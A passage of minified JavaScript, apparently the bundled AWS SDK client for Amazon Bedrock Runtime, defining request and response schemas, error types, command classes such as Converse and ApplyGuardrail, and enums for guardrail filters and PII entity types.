tAssessments",v16="outputDataConfig",Jy3="originalMessage",Oy3="outputScope",s44="originalStatusCode",Xy3="outputTokens",$y3="options",_y3="output",t44="premises",W71="performanceConfig",D71="performanceConfigLatency",Gy3="piiEntities",e44="promptRouter",A74="promptVariables",Zy3="policyVersionArn",K74="qualifiers",Wy3="regex",q74="reasoningContent",Y74="redactedContent",z74="requestMetadata",Dy3="resourceName",jy3="reasoningText",My3="regexes",w74="role",OQ="source",K44="sortBy",H74="sourceContent",q44="statusEquals",Py3="sensitiveInformationPolicy",Vy3="sensitiveInformationPolicyFreeUnits",fy3="sensitiveInformationPolicyUnits",E16="s3Location",Y44="sortOrder",Ny3="s3OutputDataConfig",Ty3="streamProcessingMode",J74="stopReason",vy3="searchResultIndex",Ey3="searchResultLocation",O74="searchResult",ky3="supportingRules",Cy3="stopSequences",X74="submitTime",z44="submitTimeAfter",w44="submitTimeBefore",En="serviceTier",Ly3="systemTool",Ry3="s3Uri",k16="serviceUnavailableException",yy3="satisfiable",Iy3="score",$74="server",_74="signature",G74="smithy.ts.sdk.synthetic.com.amazonaws.bedrockruntime",j71="status",tLA="start",Sy3="statements",hy3="stream",M71="streaming",C16="system",jk="type",by3="translationAmbiguous",L16="toolConfig",xy3="textCharacters",uy3="toolChoice",By3="tooComplex",R16="throttlingException",my3="topicPolicy",gy3="topicPolicyUnits",Fy3="topP",y16="toolResult",Qy3="toolSpec",Uy3="totalTokens",I16="toolUse",P71="toolUseId",py3="tags",rX="text",dy3="temperature",cy3="threshold",S16="title",Z74="total",ly3="tools",iy3="tool",ny3="topics",eOA="trace",V71="translation",ry3="translations",f71="usage",oy3="untranslatedClaims",ay3="untranslatedPremises",sy3="uri",ty3="url",ey3="value",h16="validationException",AI3="valid",W74="video",KI3="web",qI3="wordPolicy",YI3="wordPolicyUnits",S1="com.amazonaws.bedrockruntime",D74=[0,S1,ZE3,8,0],N71=[0,S1,fE3,8,21],zI3=[0,S1,mk3,8,0],j74=[0,S1,gk3,8,0],wI3=[0,S1,tC3,8,15],b16=[0,S1,wL3,8,21],HI3=[-3,S1,XE3,{[Wk]:wx,[Dk]:403},[_T],[0]];LV.TypeRegistry.for(S1).registerError(HI3,X44);var JI3=[3,S1,PE3,0,[],[]],OI3=[3,S1,_E3,0,[aLA,sLA,OQ,tOA,Oy3],[[0,1],[0,1],0,[()=>Xh3,0],0]],XI3=[3,S1,GE3,0,[f71,Nn,C44,wy3,OR3,g44],[()=>T74,0,0,()=>Wh3,[()=>I74,0],()=>f74]],$I3=[3,S1,jE3,0,[Ry3,nR3,R44],[0,0,0]],_I3=[3,S1,DE3,0,[$71,r44,D16,j71,u44,X74,n44,x44,v16],[0,0,0,0,[()=>D74,0],5,5,5,()=>U16]],GI3=[3,S1,VE3,0,[],[]],ZI3=[3,S1,NE3,8,[Tn],[[()=>b16,0]]],WI3=[3,S1,TE3,8,[Tn],[[()=>b16,0]]],x16=[3,S1,QE3,0,[jk],[0]],DI3=[3,S1,vE3,0,[S16,OQ,H74,l44],[0,0,()=>Kh3,()=>b74]],M74=[3,S1,SE3,0,[bR3],[2]],jI3=[3,S1,hE3,0,[tOA,M16],[()=>eS3,()=>Ah3]],MI3=[3,S1,bE3,0,[S16,OQ,H74,l44],[0,0,()=>qh3,()=>b74]],PI3=[3,S1,lE3,0,[rX],[0]],VI3=[-3,S1,xE3,{[Wk]:wx,[Dk]:400},[_T],[0]];LV.TypeRegistry.for(S1).registerError(VI3,Z44);var fI3=[3,S1,CE3,0,[CR3,Z16],[[()=>Rh3,0],1]],NI3=[3,S1,RE3,0,[tLA,Z16],[()=>yh3,1]],TI3=[3,S1,yE3,0,[Z16],[1]],vI3=[3,S1,gE3,0,[i44],[1]],EI3=[3,S1,UE3,0,[R8A,T16,C16,p44,L16,F44,G16,A74,E44,z74,W71,En],[[0,1],[()=>F16,0],[()=>Q16,0],()=>E74,()=>m16,()=>tI3,15,[()=>S74,0],64,[()=>h74,0],()=>k71,()=>C71]],kI3=[3,S1,pE3,0,[_y3,J74,f71,a44,k44,eOA,W71,En],[[()=>Ih3,0],0,()=>R74,()=>vI3,15,[()=>hI3,0],()=>k71,()=>C71]],CI3=[3,S1,oE3,0,[f71,a44,eOA,W71,En],[()=>R74,()=>LI3,[()=>II3,0],()=>k71,()=>C71]],LI3=[3,S1,rE3,0,[i44],[1]],RI3=[3,S1,sE3,0,[R8A,T16,C16,p44,L16,F44,G16,A74,E44,z74,W71,En],[[0,1],[()=>F16,0],[()=>Q16,0],()=>E74,()=>m16,()=>WS3,15,[()=>S74,0],64,[()=>h74,0],()=>k71,()=>C71]],yI3=[3,S1,tE3,0,[hy3],[[()=>Sh3,16]]],II3=[3,S1,eE3,0,[m44,e44],[[()=>N74,0],()=>C74]],SI3=[3,S1,qk3,0,[T16,C16,L16,G16],[[()=>F16,0],[()=>Q16,0],()=>m16,15]],hI3=[3,S1,Ak3,0,[m44,e44],[[()=>N74,0],()=>C74]],bI3=[3,S1,Yk3,0,[R8A,V16],[[0,1],[()=>hh3,0]]],xI3=[3,S1,zk3,0,[d44],[1]],P74=[3,S1,Ok3,0,[oLA,vn,OQ,ER3,M16],[0,0,()=>xh3,0,()=>M74]],uI3=[3,S1,_k3,0,[P16,tLA,X71],[1,1,1]],BI3=[3,S1,Gk3,0,[P16,tLA,X71],[1,1,1]],mI3=[3,S1,Zk3,0,[P16,tLA,X71],[1,1,1]],gI3=[3,S1,Mk3,0,[$71],[[0,1]]],FI3=[3,S1,Pk3,0,[$71,r44,D16,j71,u44,X74,n44,x44,v16],[0,0,0,0,[()=>D74,0],5,5,5,()=>U16]],V74=[3,S1,Dk3,0,[my3,MR3,qI3,Py3,DR3,zR3,gR3],[()=>PS3,()=>AS3,()=>VS3,()=>ZS3,()=>qS3,[()=>cI3,0],()=>OS3]],QI3=[3,S1,kk3,0,[V71,y44,G71],[[()=>eLA,0],()=>g16,[()=>T71,0]]],UI3=[3,S1,Lk3,0,[rX],[[()=>j74,0]]],pI3=[3,S1,Ck3,0,[V71,y44,G71],[[()=>eLA,0],()=>g16,[()=>T71,0]]],T71=[3,S1,yk3,0,[jk,t44,S44],[0,[()=>rLA,0],[()=>rLA,0]]],dI3=[3,S1,Ik3,0,[],[]],cI3=[3,S1,Sk3,0,[uR3],[[()=>Hh3,0]]],lI3=[3,S1,hk3,0,[pR3,Zy3],[0,0]],iI3=[3,S1,uk3,0,[V71,I44,WR3,G71],[[()=>eLA,0],[()=>z71,0],[()=>z71,0],[()=>T71,0]]],z71=[3,S1,xk3,0,[Sy3],[[()=>rLA,0]]],nI3=[3,S1,Fk3,0,[oR3,Yy3],[[()=>zI3,0],[()=>j74,0]]],rI3=[3,S1,pk3,0,[],[]],eLA=[3,S1,Qk3,0,[t44,S44,ay3,oy3,h44],[[()=>rLA,0],[()=>rLA,0],[()=>H44,0],[()=>H44,0],1]],oI3=[3,S1,Uk3,0,[$y3,IR3],[[()=>Oh3,0],[()=>wh3,0]]],aI3=[3,S1,ck3,0,[ry3],[[()=>Jh3,0]]],sI3=[3,S1,ik3,0,[V71,I44,ky3,G71],[[()=>eLA,0],[()=>z71,0],()=>g16,[()=>T71,0]]],tI3=[3,S1,nk3,0,[aLA,sLA,eOA],[0,0,0]],eI3=[3,S1,sk3,0,[jk,h44,xR3,Nn,L8A],[0,0,0,0,2]],AS3=[3,S1,zC3,0,[B44],[()=>$h3]],KS3=[3,S1,ek3,0,[jk,cy3,Iy3,Nn,L8A],[0,1,1,0,2]],qS3=[3,S1,KC3,0,[B44],[()=>_h3]],YS3=[3,S1,qC3,8,[oLA,OQ],[0,[()=>mh3,0]]],zS3=[3,S1,wC3,0,[rX,K74],[0,64]],f74=[3,S1,OC3,0,[xy3,dR3],[()=>jS3,()=>JS3]],wS3=[3,S1,HC3,0,[Z71,Nn,L8A],[0,0,2]],HS3=[3,S1,XC3,8,[oLA,OQ],[0,[()=>gh3,0]]],JS3=[3,S1,$C3,0,[U44,Z74],[1,1]],OS3=[3,S1,_C3,0,[BR3,f71,g44],[1,()=>T74,()=>f74]],XS3=[3,S1,ZC3,0,[Z71,jk,Nn,L8A],[0,0,0,2]],$S3=[3,S1,DC3,0,[rX],[0]],_S3=[3,S1,MC3,0,[Z71,jk,Nn,L8A],[0,0,0,2]],GS3=[3,S1,VC3,0,[vn,Z71,Wy3,Nn,L8A],[0,0,0,0,2]],ZS3=[3,S1,TC3,0,[Gy3,My3],[()=>Dh3,()=>jh3]],WS3=[3,S1,NC3,0,[aLA,sLA,eOA,Ty3],[0,0,0,0]],DS3=[3,S1,kC3,0,[rX,K74],[0,64]],jS3=[3,S1,CC3,0,[U44,Z74],[1,1]],MS3=[3,S1,vC3,0,[vn,jk,Nn,L8A],[0,0,0,2]],PS3=[3,S1,RC3,0,[ny3],[()=>Mh3]],N74=[3,S1,EC3,0,[sR3,mR3,Hy3,C44],[64,[()=>Eh3,0],[()=>vh3,0],0]],T74=[3,S1,yC3,0,[gy3,VR3,YI3,fy3,Vy3,jR3,PR3,wR3,HR3],[1,1,1,1,1,1,1,1,1]],VS3=[3,S1,IC3,0,[NR3,Ky3],[()=>Gh3,()=>Zh3]],v74=[3,S1,SC3,0,[oLA,OQ],[0,()=>Fh3]],E74=[3,S1,hC3,0,[Ay3,dy3,Fy3,Cy3],[1,1,1,64]],v71=[-3,S1,iC3,{[Wk]:$74,[Dk]:500},[_T],[0]];LV.TypeRegistry.for(S1).registerError(v71,$44);var fS3=[3,S1,xC3,0,[C8A,O71,L44,R8A,eOA,aLA,sLA,D71,En],[[()=>N71,16],[0,{[nX]:_16}],[0,{[nX]:OE3}],[0,1],[0,{[nX]:v44}],[0,{[nX]:N44}],[0,{[nX]:T44}],[0,{[nX]:H71}],[0,{[nX]:J71}]]],NS3=[3,S1,uC3,0,[C8A,O71,D71,En],[[()=>N71,16],[0,{[nX]:_16}],[0,{[nX]:H71}],[0,{[nX]:J71}]]],TS3=[3,S1,BC3,0,[C8A],[[()=>N71,0]]],vS3=[3,S1,QC3,0,[R8A,C8A],[[0,1],[()=>Qh3,16]]],ES3=[3,S1,UC3,0,[C8A],[[()=>Uh3,16]]],kS3=[3,S1,dC3,0,[C8A,O71,L44,R8A,eOA,aLA,sLA,D71,En],[[()=>N71,16],[0,{[nX]:_16}],[0,{[nX]:KR3}],[0,1],[0,{[nX]:v44}],[0,{[nX]:N44}],[0,{[nX]:T44}],[0,{[nX]:H71}],[0,{[nX]:J71}]]],CS3=[3,S1,cC3,0,[C8A,O71,D71,En],[[()=>lh3,16],[0,{[nX]:qR3}],[0,{[nX]:H71}],[0,{[nX]:J71}]]],LS3=[3,S1,rC3,0,[z44,w44,q44,A44,$16,K44,Y44],[[5,{[k8A]:z44}],[5,{[k8A]:w44}],[0,{[k8A]:q44}],[1,{[k8A]:A44}],[0,{[k8A]:$16}],[0,{[k8A]:K44}],[0,{[k8A]:Y44}]]],RS3=[3,S1,oC3,0,[$16,YR3],[0,[()=>tS3,0]]],k74=[3,S1,aC3,0,[w74,tOA],[0,[()=>Yh3,0]]],yS3=[3,S1,AL3,0,[w74],[0]],IS3=[3,S1,qL3,0,[J74,k44],[0,15]],SS3=[-3,S1,sC3,{[Wk]:wx,[Dk]:424},[_T,s44,Dy3],[0,1,0]];LV.TypeRegistry.for(S1).registerError(SS3,M44);var hS3=[-3,S1,eC3,{[Wk]:wx,[Dk]:429},[_T],[0]];LV.TypeRegistry.for(S1).registerError(hS3,P44);var E71=[-3,S1,KL3,{[Wk]:wx,[Dk]:424},[_T,s44,Jy3],[0,1,0]];LV.TypeRegistry.for(S1).registerError(E71,f44);var u16=[-3,S1,YL3,{[Wk]:wx,[Dk]:408},[_T],[0]];LV.TypeRegistry.for(S1).registerError(u16,V44);var bS3=[3,S1,JL3,8,[Tn],[[()=>b16,0]]],k71=[3,S1,HL3,0,[rR3],[0]],C74=[3,S1,OL3,0,[FR3],[0]],xS3=[3,S1,jL3,8,[rX,_74],[0,0]],uS3=[-3,S1,WL3,{[Wk]:wx,[Dk]:404},[_T],[0]];LV.TypeRegistry.for(S1).registerError(uS3,W44);var B16=[3,S1,TL3,0,[sy3,R44],[0,0]],L74=[3,S1,EL3,0,[OQ,S16,tOA,M16],[0,0,()=>Ph3,()=>M74]],BS3=[3,S1,kL3,0,[rX],[0]],mS3=[3,S1,LL3,0,[vy3,tLA,X71],[1,1,1]],gS3=[-3,S1,vL3,{[Wk]:wx,[Dk]:400},[_T],[0]];LV.TypeRegistry.for(S1).registerError(gS3,D44);var C71=[3,S1,RL3,0,[jk],[0]],L71=[-3,S1,SL3,{[Wk]:$74,[Dk]:503},[_T],[0]];LV.TypeRegistry.for(S1).registerError(L71,j44);var FS3=[3,S1,yL3,0,[vn],[0]],QS3=[3,S1,PL3,0,[D16,R8A,aR3,v16,py3],[[0,4],0,[()=>wI3,0],()=>U16,()=>Vh3]],US3=[3,S1,VL3,0,[$71],[0]],pS3=[3,S1,IL3,0,[vn],[0]],dS3=[3,S1,hL3,0,[iR3,ey3],[0,0]],R71=[-3,S1,uL3,{[Wk]:wx,[Dk]:429},[_T],[0]];LV.TypeRegistry.for(S1).registerError(R71,_44);var R74=[3,S1,lL3,0,[d44,Xy3,Uy3,fR3,TR3],[1,1,1,1,1]],m16=[3,S1,bL3,0,[ly3,uy3],[()=>Th3,()=>rh3]],cS3=[3,S1,gL3,0,[P71,tOA,j71,jk],[0,()=>Nh3,0,0]],lS3=[3,S1,UL3,0,[P71,jk,j71],[0,0,0]],iS3=[3,S1,cL3,0,[vn,SR3,UR3],[0,0,()=>oh3]],nS3=[3,S1,iL3,0,[P71,vn,V16,jk],[0,0,15,0]],rS3=[3,S1,nL3,0,[V16],[0]],oS3=[3,S1,rL3,0,[P71,vn,jk],[0,0,0]],y71=[-3,S1,tL3,{[Wk]:wx,[Dk]:400},[_T],[0]];LV.TypeRegistry.for(S1).registerError(y71,G44);var y74=[3,S1,sL3,0,[oLA,OQ],[0,()=>th3]],aS3=[3,S1,AR3,0,[ty3,hR3],[0,0]],sS3=[-3,G74,"BedrockRuntimeServiceException",0,[],[]];LV.TypeRegistry.for(G74).registerError(sS3,RV);var tS3=[1,S1,ME3,0,[()=>_I3,0]],eS3=[1,S1,BE3,0,()=>kh3],Ah3=[1,S1,Hk3,0,()=>DI3],Kh3=[1,S1,iE3,0,()=>Ch3],qh3=[1,S1,nE3,0,()=>PI3],Yh3=[1,S1,EE3,0,[()=>Lh3,0]],zh3=[1,S1,Xk3,0,()=>bh3],I74=[1,S1,Vk3,0,[()=>V74,0]],wh3=[1,S1,Tk3,0,[()=>z71,0]],Hh3=[1,S1,Ek3,0,[()=>uh3,0]],H44=[1,S1,Rk3,0,[()=>UI3,0]],g16=[1,S1,bk3,0,()=>lI3],rLA=[1,S1,Bk3,0,[()=>nI3,0]],Jh3=[1,S1,dk3,0,[()=>eLA,0]],Oh3=[1,S1,lk3,0,[()=>aI3,0]],Xh3=[1,S1,ok3,0,[()=>Bh3,0]],$h3=[1,S1,tk3,0,()=>eI3],_h3=[1,S1,AC3,0,()=>KS3],Gh3=[1,S1,JC3,0,()=>wS3],Zh3=[1,S1,WC3,0,()=>XS3],Wh3=[1,S1,jC3,0,()=>$S3],Dh3=[1,S1,PC3,0,()=>_S3],jh3=[1,S1,fC3,0,()=>GS3],Mh3=[1,S1,LC3,0,()=>MS3],F16=[1,S1,zL3,0,[()=>k74,0]],Ph3=[1,S1,CL3,0,()=>BS3],Q16=[1,S1,fL3,0,[()=>ih3,0]],Vh3=[1,S1,mL3,0,()=>dS3],fh3=[1,S1,FL3,0,()=>ah3],Nh3=[1,S1,pL3,0,()=>sh3],Th3=[1,S1,oL3,0,()=>nh3],vh3=[2,S1,fk3,0,[0,0],[()=>I74,0]],Eh3=[2,S1,Nk3,0,[0,0],[()=>V74,0]],S74=[2,S1,XL3,8,0,()=>ph3],h74=[2,S1,ZL3,8,0,0],U16=[3,S1,WE3,0,[Ny3],[()=>$I3]],kh3=[3,S1,uE3,0,[rX],[0]],b74=[3,S1,mE3,0,[KI3,LR3,yR3,RR3,Ey3],[()=>aS3,()=>uI3,()=>mI3,()=>BI3,()=>mS3]],Ch3=[3,S1,cE3,0,[rX],[0]],Lh3=[3,S1,IE3,0,[rX,_71,b44,W74,I16,y16,Q44,W16,q74,ZR3,O74],[0,()=>v74,()=>P74,()=>y74,()=>nS3,()=>cS3,[()=>x74,0],()=>x16,[()=>dh3,0],()=>jI3,()=>L74]],Rh3=[3,S1,kE3,0,[rX,I16,y16,q74,vR3],[0,()=>rS3,()=>fh3,[()=>ch3,0],()=>MI3]],yh3=[3,S1,LE3,0,[I16,y16],[()=>oS3,()=>lS3]],Ih3=[3,S1,FE3,0,[_T],[[()=>k74,0]]],Sh3=[3,S1,aE3,{[M71]:1},[tR3,_R3,$R3,GR3,eR3,qy3,f16,N16,h16,R16,k16],[()=>yS3,()=>NI3,[()=>fI3,0],()=>TI3,()=>IS3,[()=>CI3,0],[()=>v71,0],[()=>E71,0],[()=>y71,0],[()=>R71,0],[()=>L71,0]]],hh3=[3,S1,Kk3,0,[QR3,kR3],[[()=>TS3,0],[()=>SI3,0]]],bh3=[3,S1,$k3,0,[rX],[0]],xh3=[3,S1,Wk3,0,[Tn,E16,rX,tOA],[21,()=>B16,0,()=>zh3]],uh3=[3,S1,vk3,0,[AI3,lR3,yy3,cR3,by3,By3,zy3],[[()=>sI3,0],[()=>pI3,0],[()=>iI3,0],[()=>QI3,0],[()=>oI3,0],()=>rI3,()=>dI3]],Bh3=[3,S1,rk3,0,[rX,_71],[()=>DS3,[()=>HS3,0]]],x74=[3,S1,ak3,0,[rX,_71],[()=>zS3,[()=>YS3,0]]],mh3=[3,S1,YC3,8,[Tn],[21]],gh3=[3,S1,GC3,8,[Tn],[21]],Fh3=[3,S1,lC3,0,[Tn,E16],[21,()=>B16]],Qh3=[3,S1,gC3,{[M71]:1},[j16],[[()=>ZI3,0]]],Uh3=[3,S1,FC3,{[M71]:1},[j16,f16,N16,h16,R16,o44,k16],[[()=>WI3,0],[()=>v71,0],[()=>E71,0],[()=>y71,0],[()=>R71,0],[()=>u16,0],[()=>L71,0]]],ph3=[3,S1,$L3,0,[rX],[0]],dh3=[3,S1,_L3,8,[jy3,Y74],[[()=>xS3,0],21]],ch3=[3,S1,GL3,8,[rX,Y74,_74],[0,21,0]],lh3=[3,S1,DL3,{[M71]:1},[j16,f16,N16,h16,R16,o44,k16],[[()=>bS3,0],[()=>v71,0],[()=>E71,0],[()=>y71,0],[()=>R71,0],[()=>u16,0],[()=>L71,0]]],ih3=[3,S1,NL3,0,[rX,Q44,W16],[0,[()=>x74,0],()=>x16]],nh3=[3,S1,aL3,0,[Qy3,Ly3,W16],[()=>iS3,()=>pS3,()=>x16]],rh3=[3,S1,xL3,0,[XR3,JR3,iy3],[()=>GI3,()=>JI3,()=>FS3]],oh3=[3,S1,BL3,0,[c44],[15]],ah3=[3,S1,QL3,0,[rX],[0]],sh3=[3,S1,dL3,0,[c44,rX,_71,b44,W74,O74],[15,0,()=>v74,()=>P74,()=>y74,()=>L74]],th3=[3,S1,eL3,0,[Tn,E16],[21,()=>B16]],eh3=[9,S1,$E3,{[Hx]:["POST","/guardrail/{guardrailIdentifier}/version/{guardrailVersion}/apply",200]},()=>OI3,()=>XI3],Ab3=[9,S1,Jk3,{[Hx]:["POST","/model/{modelId}/converse",200]},()=>EI3,()=>kI3],Kb3=[9,S1,dE3,{[Hx]:["POST","/model/{modelId}/converse-stream",200]},()=>RI3,()=>yI3],qb3=[9,S1,wk3,{[Hx]:["POST","/model/{modelId}/count-tokens",200]},()=>bI3,()=>xI3],Yb3=[9,S1,jk3,{[Hx]:["GET","/async-invoke/{invocationArn}",200]},()=>gI3,()=>FI3],zb3=[9,S1,bC3,{[Hx]:["POST","/model/{modelId}/invoke",200]},()=>fS3,()=>NS3],wb3=[9,S1,mC3,{[Hx]:["POST","/model/{modelId}/invoke-with-bidirectional-stream",200]},()=>vS3,()=>ES3],Hb3=[9,S1,pC3,{[Hx]:["POST","/model/{modelId}/invoke-with-response-stream",200]},()=>kS3,()=>CS3],Jb3=[9,S1,nC3,{[Hx]:["GET","/async-invoke",200]},()=>LS3,()=>RS3],Ob3=[9,S1,ML3,{[Hx]:["POST","/async-invoke",200]},()=>QS3,()=>US3];class p16 extends IZ.Command.classBuilder().ep(zx).m(function(A,K,q,Y){return[Gy.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockFrontendService","ApplyGuardrail",{}).n("BedrockRuntimeClient","ApplyGuardrailCommand").sc(eh3).build(){}class d16 extends IZ.Command.classBuilder().ep(zx).m(function(A,K,q,Y){return[Gy.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockFrontendService","Converse",{}).n("BedrockRuntimeClient","ConverseCommand").sc(Ab3).build(){}class c16 extends IZ.Command.classBuilder().ep(zx).m(function(A,K,q,Y){return[Gy.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockFrontendService","ConverseStream",{eventStream:{output:!0}}).n("BedrockRuntimeClient","ConverseStreamCommand").sc(Kb3).build(){}class l16 extends IZ.Command.classBuilder().ep(zx).m(function(A,K,q,Y){return[Gy.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockFrontendService","CountTokens",{}).n("BedrockRuntimeClient","CountTokensCommand").sc(qb3).build(){}class i16 extends IZ.Command.classBuilder().ep(zx).m(function(A,K,q,Y){return[Gy.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockFrontendService","GetAsyncInvoke",{}).n("BedrockRuntimeClient","GetAsyncInvokeCommand").sc(Yb3).build(){}class n16 extends IZ.Command.classBuilder().ep(zx).m(function(A,K,q,Y){return[Gy.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockFrontendService","InvokeModel",{}).n("BedrockRuntimeClient","InvokeModelCommand").sc(zb3).build(){}class r16 extends IZ.Command.classBuilder().ep(zx).m(function(A,K,q,Y){return[Gy.getEndpointPlugin(q,A.getEndpointParameterInstructions()),J44.getEventStreamPlugin(q),O44.getWebSocketPlugin(q,{headerPrefix:"x-amz-bedrock-"})]}).s("AmazonBedrockFrontendService","InvokeModelWithBidirectionalStream",{eventStream:{input:!0,output:!0}}).n("BedrockRuntimeClient","InvokeModelWithBidirectionalStreamCommand").sc(wb3).build(){}class o16 extends IZ.Command.classBuilder().ep(zx).m(function(A,K,q,Y){return[Gy.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockFrontendService","InvokeModelWithResponseStream",{eventStream:{output:!0}}).n("BedrockRuntimeClient","InvokeModelWithResponseStreamCommand").sc(Hb3).build(){}class I71 extends IZ.Command.classBuilder().ep(zx).m(function(A,K,q,Y){return[Gy.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockFrontendService","ListAsyncInvokes",{}).n("BedrockRuntimeClient","ListAsyncInvokesCommand").sc(Jb3).build(){}class a16 extends IZ.Command.classBuilder().ep(zx).m(function(A,K,q,Y){return[Gy.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockFrontendService","StartAsyncInvoke",{}).n("BedrockRuntimeClient","StartAsyncInvokeCommand").sc(Ob3).build(){}var Xb3={ApplyGuardrailCommand:p16,ConverseCommand:d16,ConverseStreamCommand:c16,CountTokensCommand:l16,GetAsyncInvokeCommand:i16,InvokeModelCommand:n16,InvokeModelWithBidirectionalStreamCommand:r16,InvokeModelWithResponseStreamCommand:o16,ListAsyncInvokesCommand:I71,StartAsyncInvokeCommand:a16};class s16 extends w71{}IZ.createAggregatedClient(Xb3,s16);var $b3=Y71.createPaginator(w71,I71,"nextToken","nextToken","maxResults"),_b3={COMPLETED:"Completed",FAILED:"Failed",IN_PROGRESS:"InProgress"},Gb3={SUBMISSION_TIME:"SubmissionTime"},Zb3={ASCENDING:"Ascending",DESCENDING:"Descending"},Wb3={JPEG:"jpeg",PNG:"png"},Db3={GROUNDING_SOURCE:"grounding_source",GUARD_CONTENT:"guard_content",QUERY:"query"},jb3={FULL:"FULL",INTERVENTIONS:"INTERVENTIONS"},Mb3={INPUT:"INPUT",OUTPUT:"OUTPUT"},Pb3={GUARDRAIL_INTERVENED:"GUARDRAIL_INTERVENED",NONE:"NONE"},Vb3={ALWAYS_FALSE:"ALWAYS_FALSE",ALWAYS_TRUE:"ALWAYS_TRUE"},fb3={BLOCKED:"BLOCKED",NONE:"NONE"},Nb3={HIGH:"HIGH",LOW:"LOW",MEDIUM:"MEDIUM",NONE:"NONE"},Tb3={HIGH:"HIGH",LOW:"LOW",MEDIUM:"MEDIUM",NONE:"NONE"},vb3={HATE:"HATE",INSULTS:"INSULTS",MISCONDUCT:"MISCONDUCT",PROMPT_ATTACK:"PROMPT_ATTACK",SEXUAL:"SEXUAL",VIOLENCE:"VIOLENCE"},Eb3={BLOCKED:"BLOCKED",NONE:"NONE"},kb3={GROUNDING:"GROUNDING",RELEVANCE:"RELEVANCE"},Cb3={ANONYMIZED:"ANONYMIZED",BLOCKED:"BLOCKED",NONE:"NONE"},Lb3={ADDRESS:"ADDRESS",AGE:"AGE",AWS_ACCESS_KEY:"AWS_ACCESS_KEY",AWS_SECRET_KEY:"AWS_SECRET_KEY",CA_HEALTH_NUMBER:"CA_HEALTH_NUMBER",CA_SOCIAL_INSURANCE_NUMBER:"CA_SOCIAL_INSURANCE_NUMBER",CREDIT_DEBIT_CARD_CVV:"CREDIT_DEBIT_CARD_CVV",CREDIT_DEBIT_CARD_EXPIRY:"CREDIT_DEBIT_CARD_EXPIRY",CREDIT_DEBIT_CARD_NUMBER:"CREDIT_DEBIT_CARD_NUMBER",DRIVER_ID:"DRIVER_ID",EMAIL:"EMAIL",INTERNATIONAL_BANK_ACCOUNT_NUMBER:"INTERNATIONAL_BANK_ACCOUNT_NUMBER",IP_ADDRESS:"IP_ADDRESS",LICENSE_PLATE:"LICENSE_PLATE",MAC_ADDRESS:"MAC_ADDRESS",NAME:"NAME",PASSWORD:"PASSWORD",PHONE:"PHONE",PIN:"PIN",SWIFT_CODE:"SWIFT_CODE",UK_NATIONAL_HEALTH_SERVICE_NUMBER:"UK_NATIONAL_HEALTH_SERVICE_NUMBER",UK_NATIONAL_INSURANCE_NUMBER:"UK_NATIONAL_INSURANCE_NUMBER",UK_UNIQUE_TAXPAYER_REFERENCE_NUMBER:"UK_UNIQUE_TAXPAYER_REFERENCE_NUMBER",URL:"URL",USERNAME:"USERNAME",US_BANK_ACCOUNT_NUMBER:"US_BANK_ACCOUNT_NUMBER",US_BANK_ROUTING_NUMBER:"US_BANK_ROUTING_NUMBER",US_INDIVIDUAL_TAX_IDENTIFICATION_NUMBER:"US_INDIVIDUAL_TAX_IDENTIFICATION_NUMBER",US_PASSPORT_NUMBER:"US_PASSPORT_NUMBER",US_SOCIAL_SECURITY_NUMBER:"US_SOCIAL_SECURITY_NUMBER",VEHICLE_IDENTIFICATION_NUMBER:"VEHICLE_IDENTIFICATION_NUMBER"},Rb3={BLOCKED:"BLOCKED",NONE:"NONE"},yb3={DENY:"DENY"},Ib3={BLOCKED:"BLOCKED",NONE:"NONE"},Sb3={PROFANITY:"PROFANITY"},hb3={DISABLED:"disabled",ENABLED:"enabled",ENABLED_FULL:"enabled_full"},bb3={DEFAULT:"default"},xb3={CSV:"csv",DOC:"doc",DOCX:"docx",HTML:"html",MD:"md",PDF:"pdf",TXT:"txt",XLS:"xls",XLSX:"xlsx"},ub3={JPEG:"jpeg",PNG:"png"},Bb3={GROUNDING_SOURCE:"grounding_source",GUARD_CONTENT:"guard_content",QUERY:"query"},mb3={GIF:"gif",JPEG:"jpeg",PNG:"png",WEBP:"webp"},gb3={FLV:"flv",MKV:"mkv",MOV:"mov",MP4:"mp4",MPEG:"mpeg",MPG:"mpg",THREE_GP:"three_gp",WEBM:"webm",WMV:"wmv"},Fb3={ERROR:"error",SUCCESS:"success"},Qb3={SERVER_TOOL_USE:"server_tool_use"},Ub3={ASSISTANT:"assistant",USER:"user"},pb3={OPTIMIZED:"optimized",STANDARD:"standard"},db3={DEFAULT:"default",FLEX:"flex",PRIORITY:"priority"},cb3={CONTENT_FILTERED:"content_filtered",END_TURN:"end_turn",GUARDRAIL_INTERVENED:"guardrail_intervened",MAX_TOKENS:"max_tokens",MODEL_CONTEXT_WINDOW_EXCEEDED:"model_context_window_exceeded",STOP_SEQUENCE:"stop_sequence",TOOL_USE:"tool_use"},lb3={ASYNC:"async",SYNC:"sync"},ib3={DISABLED:"DISABLED",ENABLED:"ENABLED",ENABLED_FULL:"ENABLED_FULL"};Object.defineProperty(t16,"$Command",{enumerable:!0,get:function(){return IZ.Command}});Object.defineProperty(t16,"__Client",{enumerable:!0,get:function(){return IZ.Client}});t16.AccessDeniedException=X44;t16.ApplyGuardrailCommand=p16;t16.AsyncInvokeStatus=_b3;t16.BedrockRuntime=s16;t16.BedrockRuntimeClient=w71;t16.BedrockRuntimeServiceException=RV;t16.CachePointType=bb3;t16.ConflictException=Z44;t16.ConversationRole=Ub3;t16.ConverseCommand=d16;t16.ConverseStreamCommand=c16;t16.CountTokensCommand=l16;t16.DocumentFormat=xb3;t16.GetAsyncInvokeCommand=i16;t16.GuardrailAction=Pb3;t16.GuardrailAutomatedReasoningLogicWarningType=Vb3;t16.GuardrailContentFilterConfidence=Nb3;t16.GuardrailContentFilterStrength=Tb3;t16.GuardrailContentFilterType=vb3;t16.GuardrailContentPolicyAction=fb3;t16.GuardrailContentQualifier=Db3;t16.GuardrailContentSource=Mb3;t16.GuardrailContextualGroundingFilterType=kb3;t16.GuardrailContextualGroundingPolicyAction=Eb3;t16.G